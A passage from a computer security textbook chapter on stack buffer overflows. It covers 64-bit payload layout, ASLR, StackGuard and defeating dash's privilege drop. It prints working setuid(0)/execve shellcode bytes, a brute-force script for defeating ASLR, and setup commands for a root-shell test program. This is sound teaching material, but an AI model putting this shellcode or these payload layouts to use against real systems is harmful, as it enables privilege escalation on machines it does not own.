the stack, but in x64, the first 6 arguments are passed to the function via registers; only the

additional arguments are passed using the stack. For example, when the following function

func is invoked, the stack layout and the registers used to pass the arguments are depicted in

Figure 4.10.

void func(long a, long b, long c, long d,
long e, long f, long g, long h);

In addition to the ways how the function arguments are passed, there are two more differences

that are worth mentioning: (1) The name of the frame pointer in x64 is rbp, while it is ebp
in x86. (2) The size of an address in x64 is 64 bits, while in x86, it is 32 bits. That is why the

memory address for the return address is rbp + 8.

4.7.2 A Challenge in Attacks: Zeros in Address
From the stack layout, it seems that launching the attack on 64-bit programs will be almost the

same to that on 32-bit programs, except that we just need to use 8 bytes for the return address.

Unfortunately, there is an issue that is unique to the x64 architecture, and it is going to bring
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local variables

return address
saved rbp rbp

rbp + 8
rbp + 16
rbp + 24

g
h rdi

rsi
rdx
rcx
r8
r9

a
b
c
d
e
f

Registers

Figure 4.10: Stack layout for the function func()

trouble to our attacks. One of the challenges in buffer-overflow attacks is to avoid including any

zero in the payload, because strcpy() considers zero as the end of the source string. In the

x64 achitecture, avoiding zero becomes very difficult, if possible at all.

Although the x64 architecture supports 64-bit address space, only the address from 0x00
through 0x00007FFFFFFFFFFF is allowed. That means for every address (8 bytes), the

highest two bytes are always zeros. Therefore, if we need to include any address in the attack

payload, we will have to include these two zeros.

Let us first compile the program, but this time, we will not use -m32, so gcc will compile

the program to 64-bit binary. We then debug the program.

$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c
$ gdb stack_db
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffdda0
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0x7fffffffdd30
gdb-peda$ p/d 0x7fffffffdda0 - 0x7fffffffdd30
$3 = 112

Although the numbers 0x7fffffffdda0 and 0x7fffffffdd30 do not seem to con-

tain any zero byte, this is because the leading zeros are not printed out. Each of these numbers

is a 64-bit number, but only 48 bits are printed out; the leading two bytes are zeros, and are thus

omitted in the printout.

In the buffer-overflow attacks, we need to put an address in the return address field of the

target program, so this address must be in the payload. When the payload is copied into the stack,

the return address field can then be overwritten by our address. We know that the strcpy()
function will stop copying when it sees a zero. Therefore, if zero appears in the middle of the

payload, the content after the zero cannot be copied into the stack.

4.7.3 Overcoming the Challenge Caused by Zeros
To solve the problem, we need to look at our attack against 32-bit programs, and see what

essential content we have put in the payload after the return address. From Figure 4.5, we can
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see that the only content we put after the return address is the malicious shellcode (along with

many NOPs). We can relocate this code to the place before the return addression, as long as the

buffer is big enough. In our case, the vulnerable function’s buffer has 100 bytes (see Listing 4.1),

which is big enough to hold the shellcode.

By relocating the shellcode, the return address becomes the last element in our payload.

The return address has 8 bytes, so the question is where these two zero bytes are allocated. If

they are allocated at the beginning of the 8-byte memory, we will still have a problem with the

strcpy() function.

How these 8 bytes of data are arranged in the memory depends on the Endianess of the

machine. For Little-Endian machine, the two zeros are put at the higher address (i.e., the end

of the 8-byte memory). For example, if the address is 0x7fffffffaa88, the data stored in

the memory (from low address to high address) are 88 aa ff ff ff 7f 00 00. For the

Big-Endian machine, it is stored in the opposite order: 00 00 7f ff ff ff aa 88. See

Figure 4.11 for illustration.

0x00
0x00

0xFF
0x7F

0x1000

0x1007

0x1006

0x1005

Little Endian Big Endian

How is 0x00007FFFFFFFD810 stored in memory?

0x00
0x00

0xFF
0x7F

0x1000

0x1007

0x1006

0x1005

Big Endian

How is 0x00007FFFFFFFD810 stored in memor

0xFF
0xFF
0xD8
0x10

0x1002

0x1001

0x1003

0x1004

0x10
0xD8

0xFF
0xFF

0x1000

0x1007

0x1006

0x1005

0xFF
0x7F
0x00
0x00

0x1002

0x1001

0x1003

0x1004

Figure 4.11: Endianess

For Little-Endian machines, the two zeros are stored at the end, so we have a hope. The

reised badfile structure is depicted in Figure 4.12. In this badfile, assuming that the starting

address of the buffer is 0x7FFFFFFFAA88, we need to modify the return address field of the

vulnerable function, so when the function returns, it returns to 0x7FFFFFFFAA88 (or one of

the NOPs after this address). This address is placed in the return address field of badfile, and it

is the last element of the payload.

When strcpy copies the payload to the vulnerable function foo’s buffer, it will only

copy up to 0x7F, and anything after that will not be copied. But we still have two zeros in the

payload! This does not matter. The original return address field already have two zeros there

(because it stores a 64-bit address), so whether we overwrite these two zeros with two new zeros

does not really matter.
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malicious code 88NOP NOP AA FF FF FF 7F 00 00

start of buffer
0x7FFFFFFFAA88

return address

return to

badfile

Stack

Figure 4.12: The structure of badfile (for 64-bit machine)

The approach depicted in Figure 4.12 only works for Little-Endian machines, but foru-

tunately, most personal computers these days are Litte-Endian machines. For Big-Endian

machines, we are not so lucky, because the two zeros are at the beginning. How to solve this

problem for Big-Endian machines will be left to readers.

4.7.4 Another Challenge in Attacks: Small Buffer

In our approach, we place the malcious code inside the buffer. What if the buffer’s size is

too small to hold the malicious code? In our attack on 32-bit programs, this was not an issue,

because we can place the malicious code anywhere, before the return address or after the return

address. For the attack on 64-bit programs, data placed after the return address will not be

copied into the stack via the strcpy() function, but we cannot place it before the return

address due to the lack of space. This is another challenge that we may face.

To solve this problem, let us look at the vulnerable program again. For the sake of conve-

nience, we listed the program stack.c again in the following (we reduce the buffer size in the

foo() function:

int foo(char *str)
{

char buffer[10];
strcpy(buffer, str);
return 1;

}

int main(int argc, char **argv)
{

char str[400];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 400, badfile);
foo(str);
...

}

Let us look at the main() function. It has a buffer str[], which is also allocated on the
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stack. Whatever we put in badfile is first stored in this buffer, and is then copied into the

foo() function’s buffer of a smaller size, causing buffer overflow. If we put a copy of shellcode

in badfile, even though the code will not be copied into foo’s buffer, it is actually on the

stack, inside main’s stack frame. Therefore, as long as we can figure out its address, we really

do not care whether it is in foo’s buffer or main’s buffer; we can cause the vulnerable program

to jump to this code. Our badfile construction is depicted in Figure 4.13.

malicious code80 CC FF FF FF 7F 00 00

0x7FFFFFFFCC80

return address

foo()’s stack frame main()’s stack frame

start of buffer

badfile

return to

Stack

Figure 4.13: The structure of badfile (for 64-bit program, buffer is small)

4.8 Countermeasures: Overview
The buffer overflow problem has quite a long history, and many countermeasures have been

proposed, some of which have been adopted in real-world systems and software. These coun-

termeasures can be deployed in various places, from hardware architecture, operating system,

compiler, library, to the application itself. We first give an overview of these countermea-

sures, and then study some of them in depth. We will also demonstrate that some of the

countermeasures can be defeated.

Safer Functions. Some of the memory copy functions rely on certain special characters in the

data to decide whether the copy should end or not. This is dangerous, because the length of the

data that can be copied is now decided by the data, which may be controlled by users. A safer

approach is to put the control in the developers’ hands, by specifying the length in the code. The

length can now be decided based on the size of the target buffer, instead of on the data.

For memory copy functions like strcpy, sprintf, strcat, and gets, their safer

versions are strncpy, snprintf, strncat, fgets, respectively. The difference is that

the safer versions require developers to explicitly specify the maximum length of the data

that can be copied into the target buffer, forcing the developers to think about the buffer size.

Obviously, these safer functions are only relatively safer, as they only make a buffer overflow

less likely, but they do not prevent it. If a developer specifies a length that is larger than the

actual size of the buffer, there will still be a buffer overflow vulnerability.

Safer Dynamic Link Library. The above approach requires changes to be made to the

program. If we only have the binary, it will be difficult to change the program. We can use the

dynamic linking to achieve the similar goal. Many programs use dynamic link libraries, i.e.,

the library function code is not included in a program’s binary, instead, it is dynamically linked
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to the program. If we can build a safer library and get a program to dynamically link to the

functions in this library, we can make the program safer against buffer overflow attacks.

An example of such a library is libsafe developed by Bell Labs [Baratloo et al., 2000]. It

provides a safer version for the standard unsafe functions, which does boundary checking based

on %ebp and does not allow copy beyond the frame pointer. Another example is the C++ string

module libmib [mibsoftware.com, 1998]. It conceptually supports “limitless” strings instead

of fixed length string buffers. It provides its own versions of functions like strcpy() that are

safer against buffer overflow attacks.

Program Static Analyzer. Instead of eliminating buffer overflow, this type of solution warns

developers of the patterns in code that may potentially lead to buffer overflow vulnerabilities.

The solution is often implemented as a command-line tool or in the editor. The goal is to notify

developers early in the development cycle of potentially unsafe code in their programs. An

example of such a tool is ITS4 by Cigital [Viega et al., 2000], which helps developers identify

dangerous patterns in C/C++ code. There are also many academic papers on this approach.

Programming Language. Developers rely on programming languages to develop their pro-

grams. If a language itself can do some check against buffer overflow, it can remove the burden

from developers. This makes programming language a viable place to implement buffer overflow

countermeasures. The approach is taken by several programming languages, such as Java and

Python, which provide automatic boundary checking. Such languages are considered safer for

development when it comes to avoiding buffer overflow [OWASP, 2014].

Compiler. Compilers are responsible for translating source code into binary code. They

control what sequence of instructions are finally put in the binary. This provides compilers an

opportunity to control the layout of the stack. It also allows compilers to insert instructions into

the binary that can verify the integrity of a stack, as well as eliminating the conditions that are

necessary for buffer overflow attacks. Two well-known compiler-based countermeasures are

Stackshield [Angelfire.com, 2000] and StackGuard [Cowan et al., 1998], which check whether

the return address has been modified or not before a function returns.

The idea of Stackshield is to save a copy of the return address at some safer place. When

using this approach, at the beginning of a function, the compiler inserts instructions to copy the

return address to a location (a shadow stack) that cannot be overflown. Before returning from

the function, additional instructions compare the return address on the stack with the one that

was saved to determine whether an overflow has happened or not.

The idea of StackGuard is to put a guard between the return address and the buffer, so if

the return address is modified via a buffer overflow, this guard will also be modified. When

using this approach, at the start of a function, the compiler adds a random value below the return

address and saves a copy of the random value (referred to as the canary) at a safer place that is

off the stack. Before the function returns, the canary is checked against the saved value. The

idea is that for an overflow to occur, the canary must also be overflown. More details about

StackGuard will be given in §4.10.

Operating System. Before a program is executed, it needs to be loaded into the system, and

the running environment needs to be set up. This is the job of the loader program in most oper-

ating systems. The setup stage provides an opportunity to counter the buffer overflow problem

because it can dictate how the memory of a program is laid out. A common countermeasure



C
op

yr
ig

ht
©

W
en

lia
ng

D
u

86 CHAPTER 4. BUFFER OVERFLOW ATTACK

implemented at the OS loader program is referred to as Address Space Layout Randomization or

ASLR. It tries to reduce the chance of buffer overflows by targeting the challenges that attackers

have to overcome. In particular, it targets the fact that attackers must be able to guess the address

of the injected shellcode. ASLR randomizes the layout of the program memory, making it

difficult for attackers to guess the correct address. We will discuss this approach in §4.9.

Hardware Architecture. The buffer overflow attack described in this chapter depends on

the execution of the shellcode, which is placed on the stack. Modern CPUs support a feature

called NX bit [Wikipedia, 2017o]. The NX bit, standing for No-eXecute, is a technology used

in CPUs to separate code from data. Operating systems can mark certain areas of memory as

non-executable, and the processor will refuse to execute any code residing in these areas. Using

this CPU feature, the attack described earlier in this chapter will not work anymore, if the stack

is marked as non-executable. However, this countermeasure can be defeated using a different

technique called return-to-libc attack. We will discuss the non-executable stack countermeasure

and the return-to-libc attack in Chapter 5.

4.9 Address Randomization
To succeed in buffer overflow attacks, attackers need to get the vulnerable program to “return”

(i.e., jump) to their injected code; they first need to guess where the injected code will be. The

success rate of the guess depends on the attackers’ ability to predict where the stack is located

in the memory. Most operating systems in the past placed the stack in a fixed location, making

correct guesses quite easy.

Is it really necessary for stacks to start from a fixed memory location? The answer is no.

When a compiler generates binary code from the source code, for all the data stored on the stack,

their addresses are not hard-coded in the binary code; instead, their addresses are calculated

based on the frame pointer %ebp and stack pointer %esp. Namely, the addresses of the data

on the stack are represented as the offset to one of these two registers, instead of to the starting

address of the stack. Therefore, even if we start the stack from another location, as long as the

%ebp and %esp are set up correctly, programs can always access their data on the stack without

any problem.

For attackers, they need to guess the absolute address, instead of the offset, so knowing the

exact location of the stack is important. If we randomize the start location of a stack, we make

attackers’ job more difficult, while causing no problem to the program. That is the basic idea of

the Address Layout Randomization (ASLR) method, which has been implemented by operating

systems to defeat buffer overflow attacks. This idea does not only apply to stacks, it can also be

used to randomize the location of other types of memory, such as heaps, libraries, etc.

4.9.1 Address Randomization on Linux
To run a program, an operating system needs to load the program into the system first; this is

done by its loader program. During the loading stage, the loader sets up the stack and heap

memory for the program. Therefore, memory randomization is normally implemented in the

loader. For Linux, ELF is a common binary format for programs, so for this type of binary

programs, randomization is carried out by the ELF loader.

To see how the randomization works, we wrote a simple program with two buffers, one on

the stack and the other on the heap. We print out their addresses to see whether the stack and
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heap are allocated in different places every time we run the program.

#include <stdio.h>
#include <stdlib.h>

void main()
{

char x[12];
char *y = malloc(sizeof(char)*12);

printf("Address of buffer x (on stack): 0x%x\n", x);
printf("Address of buffer y (on heap) : 0x%x\n", y);

}

After compiling the above code, we run it (a.out) under different randomization settings.

Users (privileged users) can tell the loader what type of address randomization they want by

setting a kernel variable called kernel.randomize va space. As we can see that when

the value 0 is set to this kernel variable, the randomization is turned off, and we always get the

same address for buffers x and y every time we run the code. When we change the value to 1,

the buffer on the stack now have a different location, but the buffer on the heap still gets the

same address. This is because value 1 does not randomize the heap memory. When we change

the value to 2, both stack and heap are now randomized.

// Turn off randomization
$ sudo sysctl -w kernel.randomize va space=0
kernel.randomize_va_space = 0
$ a.out
Address of buffer x (on stack): 0xbffff370
Address of buffer y (on heap) : 0x804b008
$ a.out
Address of buffer x (on stack): 0xbffff370
Address of buffer y (on heap) : 0x804b008

// Randomizing stack address
$ sudo sysctl -w kernel.randomize va space=1
kernel.randomize_va_space = 1
$ a.out
Address of buffer x (on stack): 0xbf9deb10
Address of buffer y (on heap) : 0x804b008
$ a.out
Address of buffer x (on stack): 0xbf8c49d0 �changed
Address of buffer y (on heap) : 0x804b008

// Randomizing stack and heap address
$ sudo sysctl -w kernel.randomize va space=2
kernel.randomize_va_space = 2
$ a.out
Address of buffer x (on stack): 0xbf9c76f0
Address of buffer y (on heap) : 0x87e6008
$ a.out
Address of buffer x (on stack): 0xbfe69700 �changed
Address of buffer y (on heap) : 0xa020008 �changed
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4.9.2 Effectiveness of Address Randomization

The effectiveness on address randomization depends on several factors. A complete imple-

mentation of ASLR wherein all areas of process are located at random places may result in

compatibility issues. A second limitation sometimes is the reduced range of the addresses

available for randomization [Marco-Gisbert and Ripoll, 2014].

One way to measure the available randomness in address space is entropy. If a region of

memory space is said to have n bits of entropy, it implies that on that system, the region’s

base address can take 2n locations with an equal probability. Entropy depends on the type of

ASLR implemented in the kernel. For example, in the 32-bit Linux OS, when static ASLR is

used (i.e., memory regions except program image are randomized), the available entropy is 19

bits for stack and 13 bits for heap [Herlands et al., 2014].

In implementations where the available entropy for randomization is not enough, attackers

can resolve to brute-force attacks. Proper implementations of ASLR (like those available in

grsecurity [Wikipedia, 2017j]) provide methods to make brute force attacks infeasible. One

approach is to prevent an executable from executing for a configurable amount of time if it has

crashed a certain number of times [Wikipedia, 2017b].

Defeating stack randomization on 32-bit machine. As mentioned above, on 32-bit Linux

machines, stacks only have 19 bits of entropy, which means the stack base address can have

219 = 524, 288 possibilities. This number is not that high and can be exhausted easily with

the brute-force approach. To demonstrate this, we write the following script to launch a buffer

overflow attack repeatedly, hoping that our guess on the memory address will be correct by

chance. Before running the script, we need to turn on the memory randomization by setting

kernel.randomize va space to 2.

Listing 4.3: Defeat stack randomization (defeat rand.sh)

#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack

done

In the above attack, we have prepared the malicious input in badfile, but due to the

memory randomization, the address we put in the input may not be correct. As we can see

from the following execution trace, when the address is incorrect, the program will crash

(core dumped). However, in our experiment, after running the script for a little bit over 19

minutes (12524 tries), the address we put in badfile happened to be correct, and our

shellcode gets triggered.
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......
19 minutes and 14 seconds elapsed.
The program has been running 12522 times so far.
...: line 12: 31695 Segmentation fault (core dumped) ./stack
19 minutes and 14 seconds elapsed.
The program has been running 12523 times so far.
...: line 12: 31697 Segmentation fault (core dumped) ./stack
19 minutes and 14 seconds elapsed.
The program has been running 12524 times so far.
# �Got the root shell!

We did the above experiment on a 32-bit Linux machine (our pre-built VM is a 32-bit

machine). For 64-bit machines, the brute-force attack will be much more difficult.

Address randomization on Android. A popular attack on Android called stagefright was

discovered in 2015 [Wikipedia, 2017w]. The bug was in Android’s stagefright media library,

and it is a buffer overflow problem. Android has implemented ASLR, but it still had a limitation.

As discussed by Google’s researchers, exploiting the attack depended on the available entropy

in the mmap process memory region. On Android Nexus 5 running version 5.x (with 32-bit), the

entropy was only 8-bit or 256 possibilities, making brute-force attacks quite easy [Brand, 2015].

4.10 StackGuard
Stack-based buffer overflow attacks need to modify the return address; if we can detect whether

the return address is modified before returning from a function, we can foil the attack. There

are many ways to achieve that. One way is to store a copy of the return address at some other

place (not on the stack, so it cannot be overwritten via a buffer overflow), and use it to check

whether the return address is modified. A representative implementation of this approach is

Stackshield [Angelfire.com, 2000]. Another approach is to place a guard between the return

address and the buffer, and use this guard to detect whether the return address is modified or

not. A representative implementation of this approach is StackGuard [Cowan et al., 1998].

StackGuard has been incorporated into compilers, including gcc. We will dive into the details

of this countermeasure.

4.10.1 The Observation and the Idea
The key observation of StackGuard is that for a buffer overflow attack to modify the return

address, all the stack memory between the buffer and the return address will be overwritten.

This is because the memory-copy functions, such as strcpy() and memcpy(), copy data

into contiguous memory locations, so it is impossible to selectively affect some of the locations,

while leaving the other intact. If we do not want to affect the value in a particular location during

the memory copy, such as the shaded position marked as Guard in Figure 4.14, the only way to

achieve that is to overwrite the location with the same value that is stored there.

Based on this observation, we can place some non-predictable value (called guard) between

the buffer and the return address. Before returning from the function, we check whether the

value is modified or not. If it is modified, chances are that the return address may have also

been modified. Therefore, the problem of detecting whether the return address is overwritten is

reduced to detecting whether the guard is overwritten. These two problems seem to be the same,



C
op

yr
ig

ht
©

W
en

lia
ng

D
u

90 CHAPTER 4. BUFFER OVERFLOW ATTACK

Return Address

buffer[0]

buffer[11]

Bu
ffe

rc
op

y

Stack
grows

(High address)

(Low address)

Guard

Figure 4.14: The idea of StackGuard

but they are not. By looking at the value of the return address, we do not know whether its value

is modified or not, but since the value of the guard is placed by us, it is easy to know whether

the guard’s value is modified or not.

4.10.2 Manually Adding Code to Function
Let us look at the following function, and think about whether we can manually add some

code and variables to the function, so in case the buffer is overflown and the return address

is overwritten, we can preempt the returning from the function, thus preventing the malicious

code from being triggered. Ideally, the code we add to the function should be independent from

the existing code of the function; this way, we can use the same code to protect all functions,

regardless of what their functionalities are.

void foo (char *str)
{

char buffer[12];
strcpy (buffer, str);
return;

}

First, let us place a guard between the buffer and the return address. We can easily achieve

that by defining a local variable at the beginning of the function. It should be noted that in

reality, how local variables are placed on the stack and in what order is decided by the compiler,

so there is no guarantee that the variable defined first in the source code will be allocated closer

to the return address. We will temporarily ignore this fact, and assume that the variable (called

guard) is allocated between the return address and the rest of the function’s local variables.

We will initialize the variable guard with a secret. This secret is a random number

generated in the main() function, so every time the program runs, the random number is

different. As long as the secret is not predictable, if the overflowing of the buffer has led to the
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modification of the return address, it must have also overwritten the value in guard. The only

way not to modify guard while still being able to modify the return address is to overwrite

guard with its original value. Therefore, attackers need to guess what the secret number is,

which is difficult to achieve if the number is random and large enough.

One problem we need to solve is to find a place to store the secret. The secret cannot be

stored on the stack; otherwise, its value can also be overwritten. Heap, data segment, and BSS

segment can be used to store this secret. It should be noted that the secret should never be

hard-coded in the code; or it will not be a secret at all. Even if one can obfuscate the code, it is

just a matter of time before attackers can find the secret value from the code. In the following

code, we define a global variable called secret, and we initialize it with a randomly-generated

number in the main() function (not shown). As we have learned from the beginning of the

section, uninitialized global variables are allocated in the BSS segment.

// This global variable will be initialized with a random
// number in the main() function.
int secret;

void foo (char *str)
{

int guard;
guard = secret; �Assigning a secret value to guard

char buffer[12];
strcpy (buffer, str);

if (guard == secret) �Check whether guard is modified or not
return;

else
exit(1);

}

From the above code, we can also see that before returning from the function, we always

check whether the value in the local variable guard is still the same as the value in the global

variable secret. If they are still the same, the return address is safe; otherwise, there is a

high possibility that the return address may have been overwritten, so the program should be

terminated.

4.10.3 StackGuard Implementation in gcc

The manually added code described above illustrates how StackGuard works. Since the added

code does not depend on the program logic of the function, we can ask compilers to do that for

us automatically. Namely, we can ask compilers to add the same code to each function: at the

beginning of each function, and before each return instruction inside the function.

The gcc compiler has implemented the StackGuard countermeasure. If you recall, at the

beginning of this chapter, when we launched the buffer overflow attack, we had to turn off the

StackGuard option when compiling the vulnerable program. Let us see what code is added to

each function by gcc. The following listing shows the program from before, but containing no

StackGuard protection implemented by the developer.

#include <string.h>
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#include <stdio.h>
#include <stdlib.h>

void foo(char *str)
{

char buffer[12];

/* Buffer Overflow Vulnerability */
strcpy(buffer, str);

}

int main(int argc, char *argv[])
{

foo(argv[1]);

printf("Returned Properly \n\n");
return 0;

}

We run the above code with the arguments of different length. In the first execution, we

use a short argument, and the program returns properly. In the second execution, we use an

argument that is longer than the size of the buffer. Stackguard can detect the buffer overflow,

and terminates the program after printing out a "stack smashing detected" message.

$ gcc -m32 -o prog prog.c
$ ./prog hello
Returned Properly

$ ./prog hello00000000000000

*** stack smashing detected ***: terminated
Aborted

To understand how StackGuard is implemented in gcc, we examine the assembly code

of the program. We can ask gcc to generate the assembly code by using the "-S" flag (gcc
-m32 -S prog.c). The assembly code is shown in the listing below. The sections where the

guard is set and checked are highlighted.

foo:
.LFB6:

endbr32
pushl %ebp
movl %esp, %ebp
pushl %ebx
subl $36, %esp
call __x86.get_pc_thunk.ax
addl $_GLOBAL_OFFSET_TABLE_, %eax
movl 8(%ebp), %edx
movl %edx, -28(%ebp)
// Canary Set Start
movl %gs:20, %ecx
movl %ecx, -12(%ebp)
xorl %ecx, %ecx
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// Canary Set End
subl $8, %esp
pushl -28(%ebp)
leal -24(%ebp), %edx
pushl %edx
movl %eax, %ebx
call strcpy@PLT
addl $16, %esp
nop
// Canary Check Start
movl -12(%ebp), %eax
xorl %gs:20, %eax
je .L2
call stack chk fail local
// Canary Check End

.L2:
movl -4(%ebp), %ebx
leave
ret

We first examine the code that sets the guard value on stack. The relevant part of the code is

shown in the listing below. In StackGuard, the guard is called canary.

movl %gs:20, %ecx
movl %ecx, -12(%ebp)
xorl %ecx, %ecx

The code above first takes a value from %gs:20 (offset 20 from the GS segment register,

which points to a memory region isolated from the stack). The value is copied to %ecx, and

then further copied to %ebp-12. From the assembly code, we can see that the random secret

used by StackGuard is stored at %gs:20, while the canary is stored at location %ebp-12 on

the stack. The code basically copies the secret value to canary. Let us see how the canary is

checked before function return.

movl -12(%ebp), %eax
xorl %gs:20, %eax
je .L2
call __stack_chk_fail_local

.L2:
movl -4(%ebp), %ebx
leave
ret

In the code above, the program reads the canary on the stack from the memory at %ebp-12,

and saves the value to %eax. It then compares this value with the value at %gs:20, where

canary gets its initial value. The next instruction, je, checks if the result of the previous

operation (XOR) is 0. If yes, the canary on the stack remains intact, indicating that no overflow

has happened. The code will proceed to return from the function. If je detected that the

XOR result is not zero, i.e., the canary on the stack was not equal to the value at %gs:20, an

overflow has occurred. The program call stack chk fail, which prints an error message

and terminates the program.
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Ensuring Canary Properties As discussed before, for the StackGuard solution, the secret

value that the canary is checked against needs to satisfy two requirements:

• It needs to be random.

• It cannot be stored on the stack.

The first property is ensured by initializing the canary value using /dev/urandom [xorl,

2010]. The second property is ensured by keeping a copy of the canary value in %gs:20. The

memory segment pointed by the GS register in Linux is a special area, which is different from

the stack, heap, BSS segment, data segment, and the text segment. Most importantly, this GS
segment is physically isolated from the stack, so a buffer overflow on the stack or heap will

not be able to change anything in the GS segment. On 32-bit x86 architectures, gcc keeps the

canary value at offset 20 from %gs and on 64-bit x86 architectures, gcc stores the canary value

at offset 40 from %fs.

4.11 Defeating the Countermeasure in bash and dash
As we have explained before, the dash shell in Ubuntu 16.04 and 20.04 drops privileges when

it detects that the effective UID does not equal to the real UID. This can be observed from dash
program’s changelog. We can see an additional check in Line �, which compares the real and

effective user/group IDs.

// main() function in main.c has the following changes:

++ uid = getuid();
++ gid = getgid();

++ /*
++ * To limit bogus system(3) or popen(3) calls in setuid binaries,
++ * require -p flag to work in this situation.
++ */
++ if (!pflag && (uid != geteuid() || gid != getegid())) { �

++ setuid(uid);
++ setgid(gid);
++ /* PS1 might need to be changed accordingly. */
++ choose_ps1();
++ }

The countermeasure implemented in dash can be defeated. One approach is not to invoke

/bin/sh in our shellcode; instead, we can invoke another shell program. This approach

requires another shell program, such as zsh to be present in the system. Another approach is to

change the real user ID of the victim process to zero before invoking dash. We can achieve

this by invoking setuid(0) before executing execve() in the shellcode. Let us do an

experiment with this approach. We first change the /bin/sh symbolic link, so it points back

to /bin/dash (in case we have changed it to zsh before):

$ sudo ln -sf /bin/dash /bin/sh

To see how the countermeasure in dash works and how to defeat it using the system call

setuid(0), we write the following C program.
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// dash_shell_test.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{

char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;

setuid(0); // Set real UID to 0 �

execve("/bin/sh", argv, NULL);

return 0;
}

The above program can be compiled and set up using the following commands (we need to

make it root-owned Set-UID program):

$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test
$ dash_shell_test
# �Got the root shell!

After running the program, we did get a root shell. If we comment out Line �, we will only

get a normal shell, because dash has dropped the root privilege. We need to turn setuid(0)
into binary code, so we can add it to our shellcode. The revised shellcode is described below.

Listing 4.4: Revised shellcode (revised shellcode.py)

shellcode= (
"\x31\xc0" # xorl %eax,%eax �

"\x31\xdb" # xorl %ebx,%ebx �

"\xb0\xd5" # movb $0xd5,%al �

"\xcd\x80" # int $0x80 �

#---- The code below is the same as the one shown before ---
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80

).encode(’latin-1’)

The updated shellcode adds four instructions at the beginning: The first and third instructions

together (Lines � and �) set eax to 0xd5 (0xd5 is setuid()’s system call number). The

second instruction (Line �) sets ebx to zero; the ebx register is used to pass the argument 0
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to the setuid() system call. The fourth instruction (Line �) invokes the system call. Using

this revised shellcode, we can attempt the attack on the vulnerable program when /bin/sh is

linked to /bin/dash.

If we use the above shellcode to replace the one used in exploit.py (Listing 4.2), and try

the attack again, we will be able to get a root shell, even though we do not use zsh any more.

4.12 Summary
Buffer overflow vulnerabilities are caused when a program puts data into a buffer but forgets to

check the buffer boundary. It does not seem that such a mistake can cause a big problem, other

than crashing the program. As we can see from this chapter, when a buffer is located on the

stack, a buffer overflow problem can cause the return address on the stack to be overwritten,

resulting in the program to jump to the location specified by the new return address. By putting

malicious code in the new location, attackers can get the victim program to execute the malicious

code. If the victim program is privileged, such as a Set-UID program, a remote server, a

device driver, or a root daemon, the malicious code can be executed using the victim program’s

privilege, which can lead to security breaches.

Buffer overflow vulnerability was the number one vulnerability in software for quite a long

time, because it is quite easy to make such mistakes. Developers should use safe practices when

saving data to a buffer, such as checking the boundary or specifying how much data can be

copied to a buffer. Many countermeasures have been developed, some of which are already

incorporated in operating systems, compilers, software development tools, and libraries. Not

all countermeasures are fool-proof; some can be easily defeated, such as the randomization

countermeasure for 32-bit machines and the non-executable stack countermeasure. In Chapter 5,

we show how to use the return-to-libc attack to defeat the non-executable stack countermeasure.

� Hands-on Lab Exercise
We have developed a SEED lab for this chapter. The lab is called Buffer-Overflow Vulnerability
Lab, and it is hosted on the SEED website: https://seedsecuritylabs.org. This lab

comes with two versions, one running the vulnerable program as a Set-UID program, and the

other using it as a remote server program. The attack techniques are quite similar.

The learning objective of this lab is for students to gain the first-hand experience on buffer-

overflow vulnerability by putting what they have learned about the vulnerability from class into

action. In this lab, students will be given a program with a buffer-overflow vulnerability; their

task is to develop a scheme to exploit the vulnerability and finally gain the privilege. In addition

to the attacks, students will be guided to walk through several protection schemes that have been

implemented in the operating system to counter against buffer-overflow attacks. Students need

to evaluate whether the schemes work or not and explain why.

� Problems and Resources
The homework problems, slides, and source code for this chapter can be downloaded from the

book’s website: https://www.handsonsecurity.net/.


